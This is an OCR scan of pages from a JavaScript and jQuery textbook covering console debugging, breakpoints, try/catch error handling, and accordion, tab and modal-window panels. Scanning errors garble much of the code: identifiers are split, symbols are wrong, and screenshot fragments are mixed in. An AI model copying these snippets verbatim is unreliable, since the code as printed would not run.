var contacts » { // Store contact info in an object literal 

"London": { 

"Tel": "+44 (0)207 946 0128", 

"Country": "UK"}, 

"Sydney": { 

"Tel": "+61 (0)2 7010 1212", 

"Country": "Australia"}, 

"New York": { 

"Tel": "+1 (0)1 555 2104", 

"Country": "USA"} 

} 


© console. tabl e(contacts) ; 


// Write data to console 


var city, contactDetai 1 s; 
contactDetai Is = 1 1 ; 


// Declare variables for page 
// Hold details written to page 


$. each (contacts, function(city, contacts) { // Loop through data to 

contactDetai 1 s += city + 1 + contacts. Tel + '<br />'; 

}); 

$('h2'}.after('<p>' + contactDetai Is + '</p>'); // Add data to the page 


Q, Elements Network Sources Timeline Profiles Resources Audits ' Console >“ #0/ 


Q V <top frame > ▼ 


(index) 

Tel 

Count ry 

London 

"+44 (0)207 946 0128" 

11 UK" 

Sydney 

"+61 (0)2 7010 1212" 

"Australia* 1 

New York 

"+1 (0)1 555 2104" 

"USA" 

console-table, is tij 
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WRITING ON A CONDITION 


Using the console, assert() 
method, you can test if a 
condition is met, and write to the 
console only if the expression 
evaluates to false. 


JAVASCRIPT 


1. Below, when users leave an 
input, the code checks to see if 
they entered a value that is 10 
or higher. If not, it will write a 
message to the screen. 


2. The second check looks to 
see if the calculated area is a 
numeric value. If not, then the 
user must have entered a value 
that was not a number, 

clO/js/console-assert.js 


var $form, width, height, area; 

$form = $ { 1 #cal cul ator ' ) ; 

$( 'form input [type="text"] ') .on('b1ur' , functionQ { 

// The message only shows if user has entered number less than 10 
(i) console. assert(this. value > 10, 'User entered less than 10'); 

}); 


$('#calculator') .on(' submit' , function (e) { 
e . preventOef au 1 t ( ) ; 
consol e . 1 og ( ' Cl i eked submi t . . . ' ) ; 

width = $(‘#width’).val (); 
height = $ ( ' #hei ght ' ) . val () ; 
area = width * height; 

// The message only shows if user has not entered a number 
© consol e.assert($.isNumeric (area) , 'User entered non-numeric value'); 

$ form. append (’<p>‘ + area + '</?>’); 

}); 


Q, Elements Network Sources Timeline Profiles Resources Audits 

i Console i 02 x 

Q W <top frame> ▼ 

0 w Assertion failed: User entered less than 10 

cqnso ig-assert ■. j-Sif 

{anonymous function) 

console-assert. is;6 

x, event. dispatch 

jquery.il.; 5895 

v. handle 

j query. is:47SS 

Clicked submit.,* 

> 

console-assert. is: 11 
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BREAKPOINTS 


You can pause the execution of a script on any 
line using breakpoints. Then you can check the 
values stored in variables at that point in time. 



( ^calculator 1 ) ,on( 
console. looL' Clicked 


If'fCtUu UEfirO.on 
comole. loflt'C ly 

" 3 " P 


widt 3 th').val 

height »rffneiaht').Vi 


debuaoer 


Line 9, Column 1 


Q, Elements Network 
Snl. 


I Timeline Proflies Resources Audits Console 


So.,. [Co. 

v QjavascrlpEbook.com 
▼DctwJe/dO 

0 *Cj js 

_ breakpoints.;]* 

li breakup ' m ■>- 
► Q 3ja*<googleap'S 
► O fonts .grog leapls. con 1 1 


Q3' breakpoint sjs *1 


CHROME 

1. Select the Sources option. 

2. Select the script you are 
working with from the left-hand 
pane. The code will appear to 
the right, 

3. Find the line number you want 
to stop on and click on it, 

4. When you run the script it 
will stop on this line. You can 
now hover over any variable to 
see its value at that time in the 
scripts execution. 



$( '#oalculata 
console 


) * on ( *3i 
Flicked 


width - dth ' ) ,val 
height eight 1 ) * v 
area = (width * height) 


!m,(wcTor © Debugger T Sty* Editor I 


” O > Console 


bi«il(pcinfvjs:9 ? 


storm ■ irtcoXculato 


|( ' JcnlailRtor' ), 
rcinsnle Innf'fl 


blip: / /j jv«cf IplRfeftfc .com 
breakp&lms ;5 2 


FIREFOX 

1, Select the Debugger option. 

2* Select the script you are 
working with from the left-hand 
pane, The code will appear to 
the right. 

3, Find the line number you want 
to stop on and click on it, 

4. When you run the script, it 
wiil stop on this line, You can 
now hover over any variable to 
see its value at that time in the 
script's execution. 
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STEPPING THROUGH CODE 


When you have set breakpoints, 
you will see that the debugger 
lets you step through the code 
line by line and see the values 
of variables as your script 
progresses. 

When you are doing this, if 
the debugger comes across a 
function, it will move onto the 
next line after the function. 

(It does not move to where 
the function is defined.) This 
behavior is sometimes called 
stepping over a function. 

if you want to, it is possibie 
to tell the debugger to step 
into a function to see what is 
happening inside the function. 


If you set multiple breakpoints, you can step 
through them one-by-one to see where values 
change and a problem might occur. 


Chrome and Fi refox both have very similar tools for letting you step 
through the breakpoints. 



(DO®© ®®®© 


1. A pause sign shows until the interpreter comes across a breakpoint. 
When the interpreter stops on a breakpoint, a play-style button is then 
shown. This lets you tell the interpreter to resume running the code. 

2. Go to the next line of code and step through the lines one-by-one 
(rather than running them as fast as possible), 

3. Step into a function call. The debugger will move to the first line in 
that function. 

4. Step out of a function that you stepped into. The remainder of the 
function will be executed as the debugger moves to its parent function, 
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CONDITIONAL 

BREAKPOINTS 


You can indicate that a breakpoint should be 
triggered only if a condition that you specify is 
met. The condition can use existing variables. 



^calculatorTfw 

console. log( 'Clic 


$form - 


'^calculator' },an( 'submit 1 r function! e) { 
consol*, log C Clicked submit.** 1 }; 

width ^ $( 'JfcddtfrO.VatO: / 


width = $( '#width' ) 


The breakpoint on line 8 


CHROME 

1. Right-click on a line number. 

2 . Select Add Conditional 
Breakpoint 

3. Enter a condition into the 
popup box. 

4* When you run the script, it 
will only stop on this line if the 
condition is true (e.g., if area is 
less than 20). 



FiREFOX 

1. Right-click on a line of code. 

2. Select Add conditional 
breakpoint . 

3. Enter a condition into the 
popup box. 

4. When you run the script, it 
will stop on this line only if the 
condition is true (eg,, if area is 
less than 20). 
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DEBUGGER KEYWORD 


You can create a breakpoint 
in your code using just the 
debugger keyword. When the 
developer tools are open, this 
wit! automatically create a 
breakpoint. 


You can also place the debugger 
keyword within a conditional 
statement so that it only triggers 
the breakpoint if the condition is 
met. This is demonstrated in the 
code below. 


It is particularly important to 
remember to remove these 
statements before your code 
goes live as this could stop 
the page running if a user has 
developer tools open. 


JAVASCRIPT 


var Storm, width* height, area; 

$form - ${ '#calcul ator 1 ) ; 

$( '#calcul ator 5 ) .on( 1 submit 1 , fundi on(e) { 
e.preventDefaul t () ; 
consol e.log{ ‘Clicked submit. . . 


clO/js/breakpoints. js 


width = $( ! #width E ) *val {}; 
height - $( ' ^height 1 ) . val () ; 
area = (width * height) ; 

if (area < 100) { 

debugger; //A breakpoint is set if the developer tools are open 

} 

Sform.append{ 1 <p> 1 + area + , </p>‘); 

}}; 


Q. 

Elements Network ) Sources Timeline Profiles 

Resources Audits Console )S t * 

DP breakpointsjs x 

ED m 

f t & O 

3 



► Watch Expressions 4* G 

A 

c 

$( ^calculator 1 }. ant 'submit ' , function te) { 
console, log ( 1 Clicked submit 


► Call Stack 

6 


> Scope Variables 

7 

8 
9 

width = $( c #width ' ). valO; 
height - $( height ’ ) ,vaU ) ; 
area = (width * height); 


► Breakpoints 


► DOM Breakpoints 

18 

11 

if (area < 100) { 


► XHR Breakpoints 4* 


| p Event Listener Breakpoints 

12 j 

II debugger // A breakpoint is set if the develc 

13 

14 

1 J 

► Workers 

o 

Line 12, Column 1 




If you have a development server, your debugging code can be placed in conditional statements that check 
whether it is running on a specific server (and the debugging code only runs if it is on the specified server). 
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HANDLING EXCEPTIONS 


If you know your code might fail, use try, catch, and finally. 
Each one is given its own code block. 

try { 

// Try to execute this code 
} catch (exception) { 

// If there is an exception, run this code 
} finally { 

// This always gets executed 

} 


TRY CATCH FINALLY 


First, you specify the code 
that you think might throw an 
exception within the try block. 


If the try code block throws an 
exception, catch steps in with an 
alternative set of code. 


The contents of the fi nal ly 
code block will run either 
way - whether the try block 
succeeded or failed. 


If an exception occurs in this 
section of code, control is 
automatically passed to the 
corresponding catch block. 


It has one parameter: the error 
object. Although it is optional, 
you are not handling the error if 
you do not catch an error. 


It even runs if a return keyword 
is used in the try or catch block. 
It is sometimes used to clean up 
after the previous two clauses. 


The try clause must be used in The ability to catch an error can 

this type of error handling code, be very helpful If there is an issue 

and it should always have either on a live website, 

a catch, finally, or both. 


These methods are similar 
to the .done(), . fai l {), and 
t always() methods in jQuery. 


It lets you tell users that 


If you use a conti nue, break, or something has gone wrong 

return keyword Inside a try, it (rather than not informing them 

will go to the finally option, why the site stopped working). 


You can nest checks inside each 
other (place another try inside a 
catch), but be aware that it can 
affect performance of a script. 
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TRY, CATCH, FINALLY 


This example displays JSON data 
to the user. But, imagine that the 
data is coming from a third party 
and there have been occasional 
problems with it that could 
cause the page to fail. 

This script checks if the JSON 
can be parsed using a try block 
before trying to display the 
information to the users. 


If the try statement throws an 
error (because the data cannot 
be parsed), the code in the catch 
code block will be run, and the 
error will not prevent the rest of 
the script from being executed. 

The catch statement creates 
a message using the name and 
message properties of the Error 
object. 


The error will be logged to the 
console, and a friendly message 
will be shown to the users of 
the site. You coufd also send 
the error message to the server 
using Ajax so that it could 
be recorded. Either way, the 
final ly statement adds a link 
that allows users to refresh the 
data they are seeing. 


JAVASCRIPT 


response = ' {"deals": [{"title": "Farrow and Ball",., 


clG/js/try-catch-final ly. js 

// JSON data 


if (response) { 
try{ 

var dealData = JSON.parse(response) ; 
showContent (deal Data) ; 

}catch(e) { 

var errorMessage = e.name + 1 ' + e. message; 
console. log(errorMessage) ; 
feed. i nnerHTML = '<em>Sorry, could not load deals'</em>; // Users msg 
} finally { 

var link = document. createEl ement{ 'a ' ) ; // Add refresh link 

1 ink. i nnerHTML = ' <a href="try-catch-fi nally . html ">rel oad</a>' ; 
feed.appendChi ld(l ink) ; 

} 

} 


// Try to parse JSON 
// Show JSON data 

// Create error msg 
// Show devs msg 


Elements Network Sources Timeline Profiles Resources Audits \ 

Console | X: lD 4 K 

® SF < t°P frame> T 

SyntaxError Unexpected end of input 

> 

trv-catch-finaULv, is: 14 
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THROWING ERRORS 


If you know something might cause a problem for your script, you can 
generate your own errors before the interpreter creates them. 


To create your own error, you use the folEowing line; 

throw new Error( 'message 1 ) ; 


Being able to throw an error at the time you know 
there might be a problem can be better than letting 
that data cause errors further into the script. 

If you are working with data from a third party, you 
may come across problems such as: 

• JSON that contains a formatting error 

• Numeric data that occasionally has a non- 
numeric value 

• An error from a remote server 

• A set of information with one missing value 

Bad data might not cause an error in the script 
straight away, but it could cause a problem later on. 
In such cases, it helps to report the problem straight 
away. It can be much harder to find the source of the 
problem if the data causes an error in a different part 
of the script. 


This creates a new Error object (using the default 
Error object). The parameter is the message you 
want associated with the error. This message should 
be as descriptive as possible. 


For example, if a user enters a string when you 
expect a number, it might not throw an error 
immediately. 

However, if you know that the application will try to 
use that value in a mathematical operation at some 
point in the future, you know that it will cause a 
problem later on. 

If you add a number to a string, it will result in a 
string. If you use a string in any other mathematical 
calculations, the result would be NaN. In itself, NaN is 
not an error; it is a value that is not a number. 

Therefore, if you throw an error when the user enters 
a value you cannot use, it prevents Issues at some 
other point in the code, You can create an error that 
explains the problem, before the user gets further 
into the script. 
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THROW ERROR FOR NaN 


If you try to use a string in a 
mathematical operation (other 
than in addition), you do not get 
an error, you get a special value 
called NaN (not a number). 


In this example, a try block 
attempts to calculate the area of 
a rectangle. If It is given numbers 
to work with, the code will run. 

If it does not get numbers, a 
custom error is thrown and the 
catch block displays the error. 


By checking that the results 
are numeric, the script can fail 
at a specific point and you can 
provide a detailed error about 
what caused the problem (rather 
than letting it cause a problem 
later in the script). 


JAVASCRIPT 


clO/js/throw.js 


var width = 12; 
var height = 'test' ; 


// width variable 
// height variable 


function calculateArea(width, height) { 
try { 

var area = width * height; 
if ( 1 i sNaN (area ) ) { 
return area; 

} else { 

throw new Error (' cal cul ateAreaQ 


// Try to calculate area 
// If it is a number 
// Return the area 
// Otherwise throw an error 
i ved invalid number' ) ; 


} 

} catch (e) { // If there was an error 

console. 1 og (e.name + ' ’ + e. message); // Show error in console 

return 'We were unable to calculate the area.'; // Show users a message 

1 

} 


// TRY TO SHOW THE AREA ON THE PAGE 

document, getEl ementBy Id ( 'area' ) .innerHTML = cal cul ateArea (width, height); 


There are two different errors 
shown: one in the browser 
window for the users and 
another in the console for the 
developers. 


This not only catches an error 
that would not have been thrown 
otherwise, but it also provides a 
more descriptive explanation of 
what caused the error. 


Ideally, form validation, which 
you learn about in Chapter 13, 
would solve this kind of issue. It 
is more likely to occur when data 
comes from a third party. 
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DEBUGGING TIPS 


Here are a selection of practical tips that you 
can try to use when debugging your scripts. 


ANOTHER BROWSER 
Some problems are browser- 
specific. Try the code in another 
browser to see which ones are 
causing a problem. 

ADD NUMBERS 

Write numbers to the console 
so you can see which the items 
get logged. It shows how far your 
code runs before errors stop it. 

STRIP IT BACK 

Remove parts of code, and strip 
it down to the minimum you 
need. You can do this either by 
removing the code a 1 together, or 
by just commenting it out using 
multi-line comments: 

/* Anything between these 
characters is a comment */ 


SEARCH 

Stack Overflow is a Q+A site for 
programmers. 

Or use a traditional search 
engine such as Google, Bing, or 
DuckDuckGo, 

CODE PLAYGROUNDS 

If you want to ask about 
problematic code on a forum, in 
addition to pasting the code into 
a post, you could add it to a code 
playground site (such as 
JSBin.com, JSFi ddle.com, or 
Dabbl et . comjand then post a 
link to it from the forum. 

(Other popular playgrounds 
include CSSDeck.com and 
CodePen.com - but these sites 
ptace more emphasis on show 
and tell.) 


VALIDATION TOOLS 
There are a number of online 
validation tools that can help you 
try to find errors in your code: 

JAVASCRIPT 

http://wwwJslint.coni 

http://wwwjshint.com 

JSON 

http : //www Jsonl int* com 
JQUERY 

There is a jQuery debugger 
plugin available for Chrome 
which can be found in the 
Chrome web store. 


EXPLAINING THE CODE 

Programmers often report 
finding a solution to a problem 
while explaining the code to 
someone else. 
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COMMON ERRORS 


GO BACK TO BASICS 

JavaScript is case sensitive so 
check your capitalization. 

If you did not use var to declare 
the variable; it will be a global 
variable, and its value could be 
overwritten elsewhere (either in 
your script or by another script 
that Is included in the page). 

If you cannot access a variable's 
value, check if it is out of scope; 
e.g„ declared within a function 
that you are not within. 

Do not use reserved words or 
dashes in variable names. 

Check that your single / double 
quotes match properly. 

Check that you have escaped 
quotes in variable values. 

Check in the HTML that values 
of your id attributes are unique. 


Here is a list of common errors you might find 
with your scripts, 


MISSED /EXTRA 
CHARACTERS 

Every statement should end in a 
semicolon. 

Check that there are no 
missing dosing braces ] or 
parentheses )> 

Check that there are no commas 
inside a 3 } or 3 ) by accident. 

Always use parentheses to- 
surround a condition that you 
are testing. 

Check the script is not missing 
a parameter when calling a 
function. 

undefined is not the same 
as null: null is for objects, 
undef i ned is for properties, 
methods, or variables. 

Check that your script has 
loaded {especially CDN files). 

Look for conflicts between 
different script files. 


DATATYPE ISSUES 

Using = rather than == will assign 
a value to a variable, not check 
that the values match. 

If you are checking whether 
values match; try to use strict 
comparison to check datatypes 
at the same time. (Use 
rather than =*=.) 

Inside a switch statement, the 
values are not loosely typed (so 
their type will not be coerced). 

Once there is a match in a switch 
statement, all expressions will be 
executed until the next break or 
return statement is executed. 

The rep 1 ace () method only 
replaces the first match. If you 
want to replace all occurrences, 
use the global flag. 

If you are using the parselnt{) 
method, you might need to pass 
a radix (the number of unique 
digits including zero used to 
represent the number). 
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you understand execution contexts (which have two 
stages) and stacks, you are more likely to find the error 
in your code. 

Debugging is the process of finding errors. It involves a 
process of deduction. 

he console helps narrow down the area in which the 
error is located, so you can try to find the exact error. 

JavaScript has 7 different types of errors. Each creates 
its own error object, which can tell you its line number 
and gives a description of the error. 

If you know that you may get an error, you can handle 
it gracefully using the try, catch, fi nal ly statements. 
Use them to give your users helpful feedback. 


11 

CONTENT 

PANELS 




Content panels allow you to showcase extra information 
within a limited space. In this chapter, you will see several 
examples of content panels that also give you practical 
insight into creating your own scripts using jQuery. 

In this chapter, you will see how to create many types ot content panels: accordions, tabbed 
panels, modal windows (also known as a lightboxes), a photo viewer, and a responsive slider 
Each example of a content panel also demonstrates how to apply the code you have learned 
throughout the book so far in a practical setting 

Throughout the chapter, reference will be made to more complex jQuery plugins that extend 
the functionality of the examples shown here. But the code samples in this chapter also show 
how it is possible to achieve techniques you will have seen on popular websites in relatively 
few lines of code (without needing to rely on plugins written by other people). 
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ACCORDION 

An accordion features titfes which, when clicked, 
expand to show a larger panel of content. 



TABBED PANEL 

Tabs automatically show one panel, but when you 
click on another tab, the panel is changed. 



MODAL WINDOW 

When you click on a [ink for a modal window (or 
lightbox 11 ), a hidden panel will be displayed. 



PHOTO VIEWER 

Photo viewers display different images within the 
same space when the user dicks on the thumbnails. 



RESPONSIVE SLIDER 

The slider allows you to show panels of content that 
slide into view as the user navigates between them. 



CREATING A JQUERY PLUGIN 

The final example revisits the accordion (the first 
example) and turns it into a jQuery plugin. 


M 0 .1 vjTl V P~t iioii 
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SEPARATION 
OF CONCERNS 


As you saw in the introduction to this book, it is considered good practice 
to separate your content (in HTML markup), presentation (in CSS rules), 
and behaviors (in JavaScript), 


In general your code should reflect that: 

• HTML is responsible for structuring content 

• CSS is responsible for presentation 

• JavaScript is responsible for behavior 

Enforcing this separation produces code that is 
easier to maintain and reuse. While this may already 
be a familiar concept to you, it's important to 
remember as it is very easy to mix these concerns in 
with your JavaScript. As a rule, editing your HTML 
templates or stylesheets should not necessitate 
editing your scripts and vice versa. 


You can also place event listeners and calls to 
functions in JavaScript files rather than adding them 
to the end of an HTML document. 

If you need to change the styles associated with an 
element, rather than having styles written in the 
JavaScript, you can update the value of the class 
attributes for those elements, in turn, they can 
trigger new rules from the CSS file that change the 
appearance of those elements. 

When your scripts access the DOM, you can 
uncouple themjfrom the HTML by using cl ass 
selectors rather than tag selectors. 
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ACCESSIBILITY 
& NO JAVASCRIPT 


When writing any script, you should think about those who might be 
using a web page in different situations than you. 


ACCESSIBILITY 

Whenever a user can interact with an element: 

• If it is a link, use <a> 

• If it acts like a button, use a button 

Both can gain focus, so users can move between 
them focusable elements using the Tab key Cor other 
non-mouse solution). And although any element can 
become focusable by setting its tabi ndex attribute, 
only <a> elements and some input elements fire a 
cl i ck event when users press the Enter key on their 
keyboard (the ARIA role= ,, button" attribute will 
not simulate this event). 


NO JAVASCRIPT 

This chapter s accordion menu, tabbed panels, 
and responsive siider all hide some of their content 
by default. This content would be inaccessible to 
visitors that do not have JavaScript enabled if we 
didn’t provide alternative styling. One way to solve 
this is by adding a class attribute whose value is 
no-js to the opening <htm1 > tag. This class is then 
removed by JavaScript (using the replacef) method 
of the String object) if JavaScript is enabled. 

The no- j s class can then be used to provide styles 
targeted to visitors who do not have JavaScript 
enabled. 


HTML 


<!D0CTYPE html ><html cl a$$“"no-js M > *** 

<body> 

<d 1 v class= il js-warning l, >You must enable JavaScript to buy from us</div> 
<!-- Turn off your JavaScript to see the difference «-> 

<script sre="js/no-js. js"></scri pt> 

</body> 

</html> 


JAVASCRIPT 


cll/js/no-js ,js 


var el Document s document. documentEl ement; 

el Document. cl assName = el Document, cl assName.repl ace (/{ A |\s)no-js(\s|$)/, 11 $ 1 1 ) ; 


CONTENT PANELS 491 





ACCORDION 


When you click on the title of an accordion, its corresponding panel 
expands to reveal the content. 


An accordion is usually created 
within an unordered list (in 
a <ul> element). Each <li> 
element is a new item in the 
accordion. The items contain: 

• A visible label (in this 
example, it is a <button>) 

• A hidden panel holding the 
content (a <di v>) 

Clicking a label prompts the 
associated panel to be shown 
(or to be hidden if it is in view). 
To just hide or show a panel, 
you could change the value 
of the class attribute on the 
associated panel (triggering a 
new CSS rule to show or hide it). 
But, in this case, jQuery will be 
used to animate the panel into 
view or hide it. 


Ufo'iiii iv* Fit, com 


CT, issues 
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Other tabs scripts include liteAccordion and zAccordion. 
They are also included in jQuery Ul and Bootstrap. 


HTML 5 introduces <detai 1 s> 
and <$umma ry> elements to 
create a simitar effect, but (at the 
time of writing) browser support 
was not widespread. Therefore, 
a script like this would still be 
used for browsers that do not 
support those features. 
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ACCORDION WITH ALL PANELS COLLAPSED 



LABEL 3 


ANIMATING CONTENT WITH SHOW, HIDE, AND TOGGLE 


jQuery's *show{), .hide(),and 
. toggle}} methods animate the 
showing and hiding of elements, 

jQuery calculates the size of the 
box, including Its content, and 
any margins and padding. This 
helps if you do not know what 
content appears in a box. 

(To use CSS animation, you 
would need to calculate the box's 
height, margin and padding.) 



• MARGIN f BORDER * PADDING 

,toggle() saves you writing 
conditional code to tell whether 
the box is already being shown 
or not, (If a box is shown, it hides 
it, and if hidden, it will show it.) 


When the page loads, CSS rules 
are used to hide the panels. 

Clicking a label prompts the 
hidden panel that follows it to 
animate and reveal its full height. 
This Is done using jQuery, 

Clicking on the label again wouid 
hide the panel. 


The three methods are all 
shorthand for the animate ( ) 
method. For example, the 
show{) method is shorthand for: 

$(‘ .accordion-panel 1 ) 

.ant mate ({ 

height; 'show'* 
paddinglop: ‘show 1 , 
paddingBottom: 1 show 1 , 
marginTop: 'show 1 , 
margi nBottom; 1 show f 

}); 
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CREATING AN ACCORDION 


Below you can see a diagram, rather like a flowchart. 
These diagrams have two purposes. They help you: 

i) Follow the code samples; the numbers on the 
diagram correspond with the steps on the right, 
and the script on the right-hand page. Together, the 
diagrams, steps, and comments in the code should 
help you understand how each example works. 

if) Learn how to plan a script before coding it. 

This is not a "formal" diagram style, but it gives you 
a visual idea of what is going on with the script. 

The diagrams show how a collection of small, 
individual instructions achieve a larger goal, and 
if you follow the arrows you can see how the data 
flows around the parts of the script. 

o 

0 
0 
O 

0 


0 


Event: click on tab 


ANONYMOUS FUNCTION: 

Shows/hides the corresponding panel 

Prevent default action of button 
I 

Get button user clicked on 
I 

Get accordion panel after that button 

4 . 

1 


9 

L_ 


Is panel being 
animated? 


Is panel visible? 


Show panel 


Hide panel 


Some programmers use Unified Modeling Language 
or class diagrams - but they have a steeper learning 
curve, and these flowcharts are here to help you see 
how the interpreter moves through the script. 


Now let's take a look at how the diagram is 
translated into code. The steps below correspond 
to the numbers next to the JavaScript code on the 
right-hand page and the diagram on the left. 

1. A jQuery collection is created to hold elements 
whose class attribute has a value of accordion. 

In the HTML you can see that this corresponds to 
the unordered list element (there could be several 
lists on the page, each acting as an accordion). 

An event listener waits for the user to click on one 
of the buttons whose cl ass attribute has a value of 
accord ion- control. This triggers an anonymous 
function. 

2. The preventOefaultO method prevents 
browsers treating the the button like a submit 
button, it can be a good idea to use the 
prevent Defaul t () method early in a function so 
that anyone looking at your code knows that the 
form element or link does not do what they might 
expect it to. 

3. Another jQuery selection is made using the 

thi s keyword, which refers to the element the user 
clicked upon. Three jQuery methods are applied to 
that jQuery selection holding the element the user 
clicked on, 

4. .next{ * .aceordi on-panel 1 ) selects the next 
element with a class of accordion-panel, 

5. . not ( 1 : ani mated 1 ) checks that it is not in the 
middle of being animated. (If the user repeatedly 
clicks the same label, this stops the .si i deToggl e{) 
method from queuing multiple animations.) 

6. . si i deToggl e{) will show the panel if it is 
currently hidden and will hide the panel if it is 
currently visible. 
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HTML 


cll/accordion.htm] 


<ul class="accordion"> 

<1 i> 

^button class="accordion-control ">Classi cs</button> 

<div cl ass="accordion-panel ">Panel content goes here. . . </di v> 
</l i> 

<1 i> 

<button cl ass="accordi on-control ">The Flower Series</button> 
<d i v cl ass="accordion-panel ">Panel content goes here. . .</div> 
</li> 

<1 i> 

<button cl ass="accordi on-control ">Salt O' the Sea</button> 
<div class =ll accordion-panel ">Panel content goes here. . .</div> 
</ 11 > 

</ul> 


CSS 


.accordion-panel { 
display: none;} 


c 11 /cs s/accord i on. css 


JAVASCRIPT 


© $ { 1 . accordi on * ) . on ( 1 cl i ck 1 f 1 . accordi on 
© e.preventDefaul t() ; 

© $(this) 

@ .next ( 1 .accordion-panel 1 ) 

© ,not(' :animated* ) 

© .si ideToggleQ ; 

}); 


cl 1 / j s /accord i on . j s 

control* 5 function(e) } // When clicked 
// Prevent default action of button 
Get the element the user clicked on 
Select fol lowing panel 
If it is not currently animating 
Use slide toggle to show or hide it 


Note how steps 4, 5, and 6 are chained off the same (Query selection. 

You saw a screenshot of the accordion example on p492, at the start of this section. 
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TABBED PANEL 


When you click on one of the tabs, its corresponding panel is shown. 
Tabbed panels look a little like index cards. 


You should be able to see all of 
the tabs, but: 

m Only one tab should look 

active. 

• Only the panel that 

corresponds to the active tab 
should be shown Call other 
panels should be hidden). 

The tabs are typically created 
using an unordered list. Each 
<1 i > element represents a tab 
and within each tab Is a link. 

The panels follow the unordered 
list that holds the tabs, and each 
panel is stored in a <d i v> 



Other tabs scripts include TabsEet and Tabulous. 
They are also included in (Query Ul and Bootstrap. 


To associate the tab to the panel: 

* The link in the tab, like all 
links, has an href attribute. 


• The panel has an i d attribute. 

Both attributes share the same 
value. (This is the same principle 
as creating a link to another 
location within an HTML page.) 
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FIRST TAB SELECTED 


TAB 1 I TAB 2 V TAB 3 



TAB 1 HIGHLIGHTED 


CONTENT 
PANEL 1 
SHOWING 


PANEL 2 HIDDEN 
PANEL 3 HIDDEN 


SECOND TAB SELECTED 


TAB! I TAB 2 I TAB 3 



TAB 2 HIGHLIGHTED 

PANEL 1 HIDDEN 


CONTENT 
h PANEL 2 
SHOWING 


PANEL 3 HIDDEN 


When the page loads, CSS is 
used to make the tabs sit next to 
each other and to indicate which 
one is considered active. 

CSS also hides the panels, except 
for the one that corresponds 
with the active tab. 

When the user dicks on the 
link inside a tab, the script uses 
jQuery to get the value of the 
href attribute from the link. This 
corresponds to the id attribute 
on the panel that should be 
shown. 

The script then updates the 
values in the class attribute 
on that tab and panel, adding a 
value of acti ve. It also removes 
that value from the tab and panel 
that had previously been active. 

If the user does not have 
JavaScript enabled, the link in 
the tab takes the user to the 
appropr iate part of the page. 
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CREATING TAB PANELS 


Select all sets of tabs on page 

4 - 


LOOP THROUGH EACH SET OF TABS 


The flowchart shows the steps that are involved 
in creating tabs when they are found in the HTML. 
Below, you can see how these steps can be 
translated into code: 


© 

© 

© 

© 

© 


ANONYMOUS FUNCTION: 
Setup this group of tabs 

Create variables: 

$ thi s: current list 
Stab: currently active tab 
Slink: link element in active tab 
Spanel: value of href attribute on link 

4 

t 

Event: cl ick on tab control 

I 

ANONYMOUS FUNCTION 
Show this tab and hide others 

Prevent default action of link 

I 

Create variables: 

Slink: jGuery object containing link 
i d: value of href attribute from tab 
user just clicked 

4 - 


© 

© 

O 


Is this item 
active? 

■\ 

Remove active from class on tab 

I 

Remove active from class on panel 

r 

Set tab user clicked on as active 

I 

Set corresponding panel as active 

4 

I 

Update Spanel & Stab variables 


GO TO NEXT SET OF TABS 


J 


1 A jQuery selection picks all sets of tabs within 
the page. The ,each() method calls an anonymous 
function that is run for each set of tabs (like a loop). 
The code in the anonymous function deals with 
one set of tabs at a time, and the steps would be 
repeated for each set of tabs on the page. 

2. Four variables hold details of the active tab: 

i) $ thi s holds the current set of tabs. 

ii) $tab holds the currently active tab. 

The .find() method selects the active tab. 

iii) Slink holds the<a> element within that tab. 

iv) Jpanel holds the value of the href attribute for 
the active tab (this variable will be used to hide the 
panel if the user selects a different one). 

3. An event listener is set up to check for when the 
user clicks on any tab within that list. When they do, 
it runs another anonymous function. 

4. e*preventDefau!t() prevents the link that users 
clicked upon taking them to that page. 

5« Creates a variable called $ link to hold the current 
link inside a jQuery object. 

6. Creates a variable called i d to hold the value of 
the href attribute from the tab that was clicked. It is 
called Id because it is used to select the matching 
content panel (using its id attribute). 

7. An l f statement checks whether the i d variable 
contains a value, and the current item is not active. 

If both conditions are met: 

8. The previously active tab and panel have the 
class of active removed (which deactivates the tab 
and hides the panel). 

9. The tab that was clicked on and its corresponding 
panel both have acti ve added to their cl ass 
attributes (which makes the tab look active and 
displays its corresponding panel, which was hidden). 
At the same time, references to these elements are 
stored In the Spanel and Stab variables. 
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HTML 


cll/tabs.html 


<ul cl ass="tab-l i st"> 

<1 i c1ass="acti ve"><a cl ass="tab-control " href="#tab-l">Description</a></li> 
<1 i><a class="tab-control " href=''#tab-2">Ingredients</a></l i> 

<1 i><a cl ass="tab~control " href="#tab-3">Del i very</a></l i> 

</ul> 

<div class="tab-panel active" id="tab-l">Contert l...</div> 

<div class="tab-paneV id="tab-2">Content 2,..</div> 

<div cl ass="tab-parel " id="tab-3">Content 3...</div> 


CSS 


.tab-panel { 
display: none;} 
.tab-panel .active { 
display: block;} 


cll/css/tabs.css 


JAVASCRIPT 


cll/js/tabs.js 


(T) $( ' .tab-1 ist') .each(function{) { 
var $this = $ (thi s) ; 
var $tab = $thi s .find( 1 1 i .active 1 ) ; 

var Slink = Stab.fi nd( 1 a ') ; 
var Spanel = ${$1 i nk.attr( 'href 1 )) ; 


d> 


d> 


// Find lists of tabs 
ll Store thi s list 
// Get the active list item 
// Get link from active tab 
// Get active panel 


(D $thi s . on ('click 1 , '.tab-control', function(e) { // When click on a tab 


(5) e. preventDefaul t() ; 

(?) var Slink = $(this) ; 

© var id = this. hash; 


if (id && ! $1 ink. i s( ' .active' ) ) 
Spanel .removed ass ( ' active' ) ; 
Stab . removed ass ( ' acti ve ' ) ; 


} 

}); 


Spanel = $(id) ,addClass( 'acti ve' ) ; 

Stab = Slink. parent() .addCl ass( ' acti ve ‘ ) ; // Make new tab active 


// Prevent link behavior 
// Store the current link 
// Get href of clicked tab 

// If not currently active 
// Make panel inactive 
// Make tab inactive 

// Make new panel active 


}); 
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MODAL WINDOW 


A modal window is any type of content that appears "in front of" the rest 
of the page's content. It must be "closed" before the rest of the page can 
be interacted with. 


In this example, a modal window 
is created when the user clicks 
on the heart button in the top 
left-hand corner of the page. 

The modal window opens in 
the center of the page, allowing 
users to share the page on social 
networks. 

The content for the modal 
window will typically sit within 
the page, but it is hidden when 
the page toads using CSS. 

JavaScript then takes that 
content and displays it inside 
<d i v> dements that create the 
modal window on top of the 
existing page. 



Other examples of modal window scripts include Coiorbox (by Jack L. 
Moore), Lightbox 2 (by Lokesh Dhakar), and Fancybox (by Fancy Apps) 
They are also included in jQuery Ul and Bootstrap. 


Sometimes modal windows 
will dim out the rest of the 
page behind them. They can 
be designed to either appear 
automatically when the page has 
